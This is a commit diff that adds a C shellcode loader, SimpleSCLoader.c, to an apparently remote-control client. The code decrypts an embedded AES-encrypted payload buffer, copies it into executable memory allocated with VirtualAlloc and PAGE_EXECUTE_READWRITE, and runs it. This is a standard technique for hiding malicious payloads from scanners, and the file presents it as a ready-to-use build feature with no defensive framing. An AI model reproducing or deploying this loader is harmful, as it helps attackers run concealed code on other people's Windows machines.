Feature: Add client shellcode building option

client/SimpleSCLoader.c

@@ -0,0 +1,32 @@
+#include <windows.h>
+#include <stdio.h>
+#include "../common/aes.h"
+
+struct 
+{
+	unsigned char aes_key[16];
+	unsigned char aes_iv[16];
+	unsigned char data[4*1024*1024];
+	int len;
+} sc = { "Hello, World!" };
+
+// A simple shell code loader.
+// Copy left (c) yuanyuanxiang.
+int main() {
+	if (!sc.data[0] || !sc.len)
+		return -1;
+
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n");
+	for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n");
+
+	struct AES_ctx ctx;
+	AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv);
+	AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len);
+	void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+	if (exec) {
+		memcpy(exec, sc.data, sc.len);
+		((void(*)())exec)();
+		Sleep(INFINITE);
+	}
+	return 0;
+}